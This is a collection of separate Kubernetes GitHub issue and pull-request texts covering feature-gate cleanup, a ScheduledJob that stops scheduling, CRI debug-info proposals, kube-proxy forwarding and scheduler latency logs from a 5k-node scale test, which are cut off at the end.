https://github.com/kubernetes/kubernetes/pull/72698\r   - add logic to  pod dropdisabledfields  to set  podspec.securitycontext.shareprocessnamespace  to nil if the  podshareprocessnamespace  feature is disabled and  oldpodspec  does not have  securitycontext.shareprocessnamespace  set\r   - remove the  podshareprocessnamespace  feature gate check from validation.go validatepodsecuritycontext\r -  x  podreadinessgates - @rajathagasthya, https://github.com/kubernetes/kubernetes/pull/72695\r   - add logic to  pod dropdisabledfields  to set  podspec.readinessgates  to nil if the  podreadinessgates  feature is disabled and  oldpodspec  does not have  readinessgates  set\r   - remove the  podreadinessgates  feature gate check from validation.go validatereadinessgates\r -  x  sysctls, @rajathagasthya, https://github.com/kubernetes/kubernetes/pull/72752\r   - add logic to  podsecuritypolicy dropdisabledfields  to drop  spec.allowedunsafesysctls  and  spec.forbiddensysctls  if the  sysctls  feature is disabled and the old psp is nil or has both of those fields set to nil\r   - add logic to  pod dropdisabledfields  to drop  spec.securitycontext.sysctls  if the  sysctls  feature is disabled and the old pod is nil or has that field set to nil\r   - remove the  sysctls  feature gate check from  validatepodsecuritycontext  and  validatepodsecuritypolicysysctls \r -  x  expandpersistentvolumes, @rajathagasthya, https://github.com/kubernetes/kubernetes/pull/72739\r   - add logic to  persistentvolumeclaimstatusstrategy prepareforupdate  to drop  newpv.status.conditions  if  oldpv.status.conditions  is nil\r   - remove the  expandpersistentvolumes  feature gate check from  validatepersistentvolumeclaimstatusupdate \r -  x  tokenrequestprojection - @mourya007, https://github.com/kubernetes/kubernetes/pull/72714\r   - add logic to  pod dropdisabledfields  to set  podspec.volumes   .projected.sources   .serviceaccounttoken  to nil if the  tokenrequestprojection  feature is disabled and  oldpodspec  does not have any  serviceaccounttoken  projected volumes\r   - remove the  tokenrequestprojection  feature gate check from validation.go validateprojectionsources\r -  x  custompoddns, @mrhohn, https://github.com/kubernetes/kubernetes/pull/72832\r   - graduate to ga and stop honoring the feature gate in 1.14\r -  x  hugepages, @derekwaynecarr, https://github.com/kubernetes/kubernetes/pull/72785\r   - graduate to ga and stop honoring the feature gate in 1.14\r -  x  sctpsupport, @liggitt - https://github.com/kubernetes/kubernetes/pull/73774\r   - move conditional sctpsupport validation to validation functions with knowledge of the old and new object\r   - change the validation to only forbid the protocolsctp value if the feature is disabled and the old object was not using the value\r   - call the conditional validation from the validate/validateupdate strategy methods for relevant objects\r \r /assign

aws spotfleet allows for instances to be spread over multiple instance types and availability zones  perfect for ubernetes-lite . unfortunately tags on the spotfleet itself don't propagate to the instances, so this causes problems when the kubelet of new instances tries to register and is denied by the controller-manager because the instance lacks the appropriate  kubernetescluster  and  kubernetesrole  tags.  a workaround we have here is to have the instances auto-tag themselves at startup with a separate script. though it might be nice if the kubelet could do this itself  though @justinsb pointed out the problem: how would it know the value of the tags to set .

-     update kubectl commands descriptions to align with descriptions in  kubectl operations table  http://kubernetes.io/docs/user-guide/kubectl-overview/ operations  -     add appropriate examples to kubectl commands from  kubectl overview examples  http://kubernetes.io/docs/user-guide/kubectl-overview/ examples-common-operations  and  kubectl cheatsheet  http://kubernetes.io/docs/user-guide/kubectl-cheatsheet/  -     change use of  .json  to  .yaml   see  best practice  http://kubernetes.io/docs/user-guide/config-best-practices/ using-kubectl    can be found with  grep -r \ json\  docs/user-guide/kubectl --include= .md    ref https://github.com/kubernetes/kubernetes/blob/master/docs/devel/kubectl-conventions.md documentation-conventions  @kubernetes/kubectl

it looks for a file called \  \ . there should be an if checking if any kubernetes api server is register and the error message should explain what to do to get the missing file.  cc: @kubernetes/sig-cluster-federation       kubernetes_provider=gce federation_dns_provider=google-clouddns federation_name=myfederation dns_zone_name=myfederation.example federation_push_repo_base=gcr.io/mwielgus-proj ./federation/cluster/federation-up.sh namespace \ federation\  created no resources found secret \ default-token-uqjvb\  deleted service \ federation-apiserver\  created attempting to get federation-apiserver loadbalancer hostname  1 / 30  attempting to get federation-apiserver loadbalancer hostname  2 / 30  attempting to get federation-apiserver loadbalancer hostname  3 / 30  attempting to get federation-apiserver loadbalancer hostname  4 / 30  attempting to get federation-apiserver loadbalancer hostname  5 / 30  attempting to get federation-apiserver loadbalancer hostname  6 / 30  attempting to get federation-apiserver loadbalancer hostname  7 / 30  found federation-apiserver host at 104.154.96.23 cluster \ federation-cluster\  set. user \ federation-cluster\  set. context \ federation-cluster\  set. switched to context \ federation-cluster\ . user \ federation-cluster-basic-auth\  set. wrote config for federation-cluster to /usr/local/google/home/mwielgus/.kube/federation/federation-apiserver/kubeconfig secret \ federation-apiserver-kubeconfig\  created creating secret with name:   error: error reading /usr/local/google/home/mwielgus/.kube/federation/kubernetes-apiserver/ /kubeconfig: no such file or directory

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r  scheduledjob ,  cannot determine ,  too many missed start times \r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r     \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+coreos.0\ , gitcommit:\ 278a1f7034bdba61cba443722647da1a8204a6fc\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t20:48:37z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+coreos.0\ , gitcommit:\ 278a1f7034bdba61cba443722647da1a8204a6fc\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t20:48:37z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r -   kernel    e.g.  uname -a  :  4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 gnu/linux \r -   install tools  :  quay.io/coreos/hyperkube:v1.4.0_coreos.0 , deployed with  kargo \r -   others  :\r \r \r   what happened  :\r \r i am using a scheduledjob with    concurrencypolicy: forbid   . an instance of my job has taken a long time to finish, thus skipping many start times.\r \r ever since, the scheduledjob will not schedule anything new.\r \r controller manager log has:\r \r     \r e1106 13:37:12.457445       1 controller.go:163  cannot determine if default/my-cron-job needs to be started: too many missed start times to list\r     \r \r   what you expected to happen  :\r \r i expect the scheduledjob not to be stuck not scheduling anything anymore. with  concurrencypolicy: forbid , i expect that it should just re-schedule something as soon as the previously running job has completed.\r \r the \ too many missed start times to list\  safeguard appears to apply mostly to cases where job concurrency is allowed to avoid creating a lot of jobs in case of timestamp issues.\r https://github.com/kubernetes/kubernetes/blob/56bbfd259a6f45dfbcfb6f3c9f61643a787ed067/pkg/controller/scheduledjob/utils.go l148:\r \r     \r \t\t// an object might miss several starts.  for example, if\r \t\t// controller gets wedged on friday at 5:01pm when everyone has\r \t\t// gone home, and someone comes in on tuesday am and discovers\r \t\t// the problem and restarts the controller, then all the hourly\r \t\t// jobs, more than 80 of them for one hourly scheduledjob, should\r \t\t// all start running with no further intervention  if the scheduledjob\r \t\t// allows concurrency and late starts .\r \t\t//\r \r \t\t// however, if there is a bug somewhere, or incorrect clock\r \t\t// on controller's server or apiservers  for setting creationtimestamp \r \t\t// then there could be so many missed start times  it could be off\r \t\t// by decades or more , that it would eat up all the cpu and memory\r \t\t// of this controller. in that case, we want to not try to list\r \t\t// all the misseded start times.\r     \r \r   how to reproduce it    as minimally and precisely as possible :\r \r the issue shows up after about 100 minutes of this running.\r \r    \r apiversion: batch/v2alpha1\r kind: scheduledjob\r metadata:\r   name: my-cron-job\r   labels:\r     app: my-cron-job\r spec:\r   schedule: 0/1       ?\r   concurrencypolicy: forbid\r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r           - name: my-cron-job\r             image: busybox:1.25\r             command:  \ sleep\ , \ 7000\  \r           restartpolicy: never\r    \r \r \r   anything else do we need to know  :\r \r

today, cri only provides information needed by kubelet.\r \r but actually, kubelet is not the only consumer of cri.   crilctl   https://github.com/kubernetes-incubator/cri-tools/blob/master/docs/crictl.md , which is a cli tool for debugging purpose, also talks with cri to get debug information for user.\r \r most operations provided in  crictl  are well covered by cri already. the only thing missing is detailed debug information about  container ,  sandbox ,  image  and  container runtime  itself  think about  docker inspect  and  docker info  . for linux container based container runtime, it could be  pid ,  namespaces ,  container config  etc.\r \r since we want  crictl  to be portable across different cri container runtimes, it has to get the debug information from cri instead of from the underlying container runtime directly.\r \r ideally,\r - each container runtime should be able to provide runtime specific debug information via cri.\r - kubelet should never consume that information.\r -  crictl  should easily format and print the debug information to user.\r \r   the debug information could just be a string in  json  format  , which could be easily combined, converted and printed.\r \r as for how to expose the debug information through cri, there are several options:\r -   option 1:   add a  containerinfo  field in  containerstatusresponse , and also corresponding fields in  podsandboxstatusresponse ,  imagestatusresponse  and  statusresponse . the  containerinfo  is just a string in json format.\r   - pros: won't break existing cri container runtime. if they don't want to provide this, they could just return empty.\r   - cons: this introduces extra overhead in each status call, the extra encoding/decoding in grpc will be a pain. and the more debug information a container runtime provides, the worse its performance is, which doesn't seem like an encouragement to more debug info.\r -   option 2  preferred :   same with option 1, but add a  debug bool  option in  containerstatusrequest , and also other status requests. container runtime should only provide extra debug information when  debug=true .\r   - pros: extra debug information doesn't add extra performance overhead in production.\r   - cons: the  debug  option may be confusing to people, we may need another name.\r -   option 3:   add separate cri functions for the debug information.\r   - pros: more clear.\r   - cons: all cri runtimes need to support these functions, at least need to return  not implemented  for those functions.\r -   option 4:   separate cri debug api.  crictl  should only use it when it is present, and just use cri if it isn't.\r   - pros: clean. the original cri won't be affected at all.\r   - cons: more complex than option 2.\r \r i personally prefer option 2, but am open to other options. : \r \r @yujuhong @feiskyer @mikebrow @abhi @mrunalp @runcom \r /cc @dchen1107 \r /cc @kubernetes/sig-node-api-reviews

finalizer name requires \ /\  to separate segments and at least two segments.\r initializer name requires \ .\  to separate segments and at least three segments   code  https://github.com/kubernetes/kubernetes/blob/78ada62c3086f3d2e743b6e7cc696e390a619585/pkg/apis/admissionregistration/validation/validation.go l41  .\r \r we should make the requirement consistent. i favor the the initializer naming style.\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r currently pluginwatcher doesn't watch for fsnotify errors. however, we have seen issues in the past that fsnotify error could happen on some systems, e.g., when we have too many fsnotify registered. we would like to add this support in pluginwatcher. basically, we need to select fsnotify.errors event, and then see how we should handle such error event. we may start with log error at the beginning and explore whether more advanced handling is needed.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r \r \r   what happened  :\r after setting up kube-proxy, and static routing. the node is not forwarding the clusterip of a service.\r services are accessible if the default policy filter forward chain is set to accept, but not drop.\r \r   what you expected to happen  :\r nodes should be forwarding clusterip from external cluster to the correctly pod ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. setup k8s cluser.\r 2. deploy nginx and clusterip type of service for nginx.\r 3. setup static routing from external.\r 4. access from external with curl.\r \r   anything else we need to know?  :\r the filter table function seems dropped since merge of 029a16a1ebd85efc8c66abe431b657e6cad06540.\r however the github merge request dosen't seem to relate to removing the functionality.\r is this a merge issue? or intentienal?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.2-2+aeff1f5f480767\ , gitcommit:\ aeff1f5f480767c6a0f03717b7356892991ac2f7\ , gittreestate:\ clean\ , builddate:\ 2018-08-23t02:40:37z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r local vm setup.\r    \r - os  e.g. from /etc/os-release :\r    \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux master1 4.9.0-8-amd64  1 smp debian 4.9.110-3+deb9u4  2018-08-21  x86_64 gnu/linux\r    \r - install tools:\r    \r manually\r    \r - others:\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r i deployed a service  an html page that shows the hostname of the webserver , with 2 replicas.  \r every time the command \ curl <i>someip</i>\  is executed it displays the name of one of the 2 pods belonging to the service.\r \ docker ps \  shows which containers that belong to the pods  e.g. b252372f72b4, 7c687bc2c157  . if i run \ docker pause b252372f72b4\  the command \ curl <i>someip</i>\  hangs and doesn't display anything until i execute \ docker unpause b252372f72b4\ . it seems that kubernetes is not aware that the container's status is pause and that it can't handle requests.\r   what you expected to happen  :\r kubernetes reacts to \ docker pause <i>containerid</i>\  as it does to \ docker stop <i>containerid</i>\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run  \ docker pause <i>containerid</i>\   where <i>containerid</i> belongs to one of the services\r you'll notice that the service doesn't run properly. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

we've noticed a strange behavior of the scheduler in gce 5k node scalability tests.\r there were periods of time, lasting about 6s, when scheduler didn't schedule any new pods. \r it's ruining our 5s pod-startup-latency slo.\r \r see the example below, pod   density-latency-pod-2325-dgqrv   created on   09:08:59  , scheduler didn't schedule it until   09:09:06  .\r \r    \r i0121 09:08:59.691874       1 event.go:209  event v1.objectreference{kind:\ replicationcontroller\ , namespace:\ density-30-26-1933\ , name:\ density-latency-pod-2325\ , uid:\ 30589687-1d5c-11e9-b534-42010a280002\ , apiversion:\ v1\ , resourceversion:\ 3042857\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: density-latency-pod-2325-dgqrv\r i0121 09:09:06.307377       1 wrap.go:47  post /api/v1/namespaces/density-30-26-1933/pods/density-latency-pod-2325-dgqrv/binding:  1.394487ms  201  kube-scheduler/v1.14.0  linux/amd64  kubernetes/dc3edee/scheduler  ::1 :51586 \r i0121 09:09:06.309277       1 scheduler.go:569  pod density-30-26-1933/density-latency-pod-2325-dgqrv is bound successfully on node gce-scale-cluster-minion-group-4-fqwb, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.326446       1 wrap.go:47  get /api/v1/namespaces/density-30-26-1933/pods/density-latency-pod-2325-dgqrv:  1.311438ms  200  kubelet/v1.14.0  linux/amd64  kubernetes/dc3edee 35.196.249.148:38954 \r i0121 09:09:06.329459       1 wrap.go:47  patch /api/v1/namespaces/density-30-26-1933/pods/density-latency-pod-2325-dgqrv/status:  1.985776ms  200  kubelet/v1.14.0  linux/amd64  kubernetes/dc3edee 35.196.249.148:38954 \r    \r \r an interesting pattern can be found in the  scheduler logs  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/298/artifacts/gce-scale-cluster-master/kube-scheduler.log  around that time.\r \r    \r i0121 09:08:55.160303       1 scheduler.go:569  pod density-30-1-394/density-latency-pod-2300-s7zl6 is bound successfully on node gce-scale-cluster-minion-group-1-zq3r, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:55.175608       1 scheduler.go:569  pod density-30-2-2304/density-latency-pod-2301-rf7bq is bound successfully on node gce-scale-cluster-minion-group-1-8204, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:55.197037       1 scheduler.go:569  pod density-30-3-974/density-latency-pod-2302-cns4p is bound successfully on node gce-scale-cluster-minion-group-2-dcnc, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:55.321117       1 scheduler.go:569  pod density-30-4-5066/density-latency-pod-2303-jcw4q is bound successfully on node gce-scale-cluster-minion-group-3-xmxz, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:55.504597       1 scheduler.go:569  pod density-30-5-2728/density-latency-pod-2304-q4bf8 is bound successfully on node gce-scale-cluster-minion-group-3-xs40, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:55.703014       1 scheduler.go:569  pod density-30-6-21/density-latency-pod-2305-mjj2q is bound successfully on node gce-scale-cluster-minion-group-4-rsrd, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:55.908740       1 scheduler.go:569  pod density-30-7-7191/density-latency-pod-2306-rfhgw is bound successfully on node gce-scale-cluster-minion-group-3-gbhp, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:56.104215       1 scheduler.go:569  pod density-30-8-2640/density-latency-pod-2307-88zwl is bound successfully on node gce-scale-cluster-minion-group-jv6m, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:56.307854       1 scheduler.go:569  pod density-30-9-4199/density-latency-pod-2308-9fdvz is bound successfully on node gce-scale-cluster-minion-group-4-5m0k, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:56.521561       1 scheduler.go:569  pod density-30-10-5048/density-latency-pod-2309-dwbb5 is bound successfully on node gce-scale-cluster-minion-group-1-3nrg, 501 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:56.706760       1 scheduler.go:569  pod density-30-11-7199/density-latency-pod-2310-6mlhb is bound successfully on node gce-scale-cluster-minion-group-1-kjpk, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:56.901541       1 scheduler.go:569  pod density-30-12-2434/density-latency-pod-2311-glprj is bound successfully on node gce-scale-cluster-minion-group-1-3k0r, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:57.106755       1 scheduler.go:569  pod density-30-13-1369/density-latency-pod-2312-7n4r4 is bound successfully on node gce-scale-cluster-minion-group-2-ftn9, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:57.304155       1 scheduler.go:569  pod density-30-14-4782/density-latency-pod-2313-56ngs is bound successfully on node gce-scale-cluster-minion-group-3-gc3q, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:57.506152       1 scheduler.go:569  pod density-30-15-7591/density-latency-pod-2314-qvc8r is bound successfully on node gce-scale-cluster-minion-group-3-qp6q, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:57.742922       1 scheduler.go:569  pod density-30-16-9788/density-latency-pod-2315-cr97n is bound successfully on node gce-scale-cluster-minion-group-gdct, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:57.910126       1 scheduler.go:569  pod density-30-17-2062/density-latency-pod-2316-scgpb is bound successfully on node gce-scale-cluster-minion-group-4-wftx, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:58.107775       1 scheduler.go:569  pod density-30-18-3414/density-latency-pod-2317-rhhs6 is bound successfully on node gce-scale-cluster-minion-group-3-wnq7, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:58.303788       1 scheduler.go:569  pod density-30-19-5440/density-latency-pod-2318-rcxtf is bound successfully on node gce-scale-cluster-minion-group-gm65, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:58.507955       1 scheduler.go:569  pod density-30-20-1046/density-latency-pod-2319-wth55 is bound successfully on node gce-scale-cluster-minion-group-1-cn2x, 501 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:58.707024       1 scheduler.go:569  pod density-30-21-487/density-latency-pod-2320-d7c8s is bound successfully on node gce-scale-cluster-minion-group-1-6qp0, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:58.905785       1 scheduler.go:569  pod density-30-22-7185/density-latency-pod-2321-5zg8f is bound successfully on node gce-scale-cluster-minion-group-2-p2nh, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:59.108228       1 scheduler.go:569  pod density-30-23-7537/density-latency-pod-2322-wndqd is bound successfully on node gce-scale-cluster-minion-group-2-bb97, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:59.305414       1 scheduler.go:569  pod density-30-24-1721/density-latency-pod-2323-59xmr is bound successfully on node gce-scale-cluster-minion-group-3-rpn2, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:08:59.508773       1 scheduler.go:569  pod density-30-25-3105/density-latency-pod-2324-qq42t is bound successfully on node gce-scale-cluster-minion-group-4-b8vd, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:00.712919       1 trace.go:76  trace 116804465 : \ scheduling kube-system/metrics-server-v0.3.1-f5df79876-xgvrc\   started: 2019-01-21 09:09:00.584877776 +0000 utc m=+3661.754873344   total time: 127.99198ms :\r trace 116804465 :  127.99198ms   124.971506ms  end\r i0121 09:09:06.309277       1 scheduler.go:569  pod density-30-26-1933/density-latency-pod-2325-dgqrv is bound successfully on node gce-scale-cluster-minion-group-4-fqwb, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.317892       1 scheduler.go:569  pod density-30-27-8131/density-latency-pod-2326-7lnvg is bound successfully on node gce-scale-cluster-minion-group-62pk, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.332262       1 scheduler.go:569  pod density-30-32-8234/density-latency-pod-2331-85lb4 is bound successfully on node gce-scale-cluster-minion-group-4-zr54, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.342067       1 scheduler.go:569  pod density-30-28-6446/density-latency-pod-2327-slvps is bound successfully on node gce-scale-cluster-minion-group-4-4vq8, 501 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.351223       1 scheduler.go:569  pod density-30-29-4335/density-latency-pod-2328-njfd2 is bound successfully on node gce-scale-cluster-minion-group-1-3wmc, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.360875       1 scheduler.go:569  pod density-30-30-5658/density-latency-pod-2329-ldr4n is bound successfully on node gce-scale-cluster-minion-group-1-xm0l, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.369589       1 scheduler.go:569  pod density-30-31-7629/density-latency-pod-2330-8lplc is bound successfully on node gce-scale-cluster-minion-group-2-x1zq, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.378715       1 scheduler.go:569  pod density-30-33-1683/density-latency-pod-2332-78ghp is bound successfully on node gce-scale-cluster-minion-group-3-2j29, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.389407       1 scheduler.go:569  pod density-30-34-483/density-latency-pod-2333-krc4r is bound successfully on node gce-scale-cluster-minion-group-3-6h60, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.400130       1 scheduler.go:569  pod density-30-35-2255/density-latency-pod-2334-b6l9j is bound successfully on node gce-scale-cluster-minion-group-xlbn, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.412261       1 scheduler.go:569  pod density-30-36-1126/density-latency-pod-2335-lzmr4 is bound successfully on node gce-scale-cluster-minion-group-4-kwwn, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.426177       1 scheduler.go:569  pod density-30-37-9100/density-latency-pod-2336-lgqzs is bound successfully on node gce-scale-cluster-minion-group-nd3j, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.435004       1 scheduler.go:569  pod density-30-40-2434/density-latency-pod-2339-689wn is bound successfully on node gce-scale-cluster-minion-group-00hq, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.445189       1 scheduler.go:569  pod density-30-41-2699/density-latency-pod-2340-zj2s6 is bound successfully on node gce-scale-cluster-minion-group-1-2mlb, 501 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.456775       1 scheduler.go:569  pod density-30-42-5470/density-latency-pod-2341-2v72z is bound successfully on node gce-scale-cluster-minion-group-1-2j67, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.466369       1 scheduler.go:569  pod density-30-38-918/density-latency-pod-2337-z5r97 is bound successfully on node gce-scale-cluster-minion-group-2-mqf4, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.475395       1 scheduler.go:569  pod density-30-39-9011/density-latency-pod-2338-29rrx is bound successfully on node gce-scale-cluster-minion-group-2-qk9m, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.484882       1 scheduler.go:569  pod density-30-47-346/density-latency-pod-2346-2sr5h is bound successfully on node gce-scale-cluster-minion-group-3-b2pj, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.497258       1 scheduler.go:569  pod density-30-43-9802/density-latency-pod-2342-4g86t is bound successfully on node gce-scale-cluster-minion-group-3-xbn9, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.509157       1 scheduler.go:569  pod density-30-44-8493/density-latency-pod-2343-4ghcv is bound successfully on node gce-scale-cluster-minion-group-4-443g, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.521605       1 scheduler.go:569  pod density-30-45-1943/density-latency-pod-2344-j689g is bound successfully on node gce-scale-cluster-minion-group-jgln, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.533202       1 scheduler.go:569  pod density-30-46-3126/density-latency-pod-2345-kfl6d is bound successfully on node gce-scale-cluster-minion-group-dqnm, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.544975       1 scheduler.go:569  pod density-30-1-394/density-latency-pod-2350-ggw6z is bound successfully on node gce-scale-cluster-minion-group-4-8g8p, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.557506       1 scheduler.go:569  pod density-30-50-7520/density-latency-pod-2349-rpz6p is bound successfully on node gce-scale-cluster-minion-group-1-f2nt, 501 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.569044       1 scheduler.go:569  pod density-30-49-9960/density-latency-pod-2348-gx749 is bound successfully on node gce-scale-cluster-minion-group-1-k99q, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.580843       1 scheduler.go:569  pod density-30-48-6987/density-latency-pod-2347-8m8xj is bound successfully on node gce-scale-cluster-minion-group-2-hns9, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.591937       1 scheduler.go:569  pod density-30-2-2304/density-latency-pod-2351-n84hw is bound successfully on node gce-scale-cluster-minion-group-2-f202, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.603233       1 scheduler.go:569  pod density-30-3-974/density-latency-pod-2352-sd2s4 is bound successfully on node gce-scale-cluster-minion-group-3-cwhr, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.613349       1 scheduler.go:569  pod density-30-7-7191/density-latency-pod-2356-g6wjk is bound successfully on node gce-scale-cluster-minion-group-3-bs5b, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.625120       1 scheduler.go:569  pod density-30-6-21/density-latency-pod-2355-fnf67 is bound successfully on node gce-scale-cluster-minion-group-fk0w, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.638370       1 scheduler.go:569  pod density-30-4-5066/density-latency-pod-2353-xdx9k is bound successfully on node gce-scale-cluster-minion-group-1td1, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.650432       1 scheduler.go:569  pod density-30-5-2728/density-latency-pod-2354-zbbxb is bound successfully on node gce-scale-cluster-minion-group-4-2qbn, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.662341       1 scheduler.go:569  pod density-30-9-4199/density-latency-pod-2358-6lzwn is bound successfully on node gce-scale-cluster-minion-group-4-wkwp, 501 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.674764       1 scheduler.go:569  pod density-30-8-2640/density-latency-pod-2357-gtd4r is bound successfully on node gce-scale-cluster-minion-group-1-rk28, 500 nodes evaluated, 500 nodes were found feasible\r i0121 09:09:06.688428       1 scheduler.go:569  pod density-30-10-5048/density-latency-pod-2359-cx6hq is bound successfully on node gce-scale-cluster-minion-group-1-mrw3, 500 nodes evaluated, 500 nodes were found feasible\r i0121 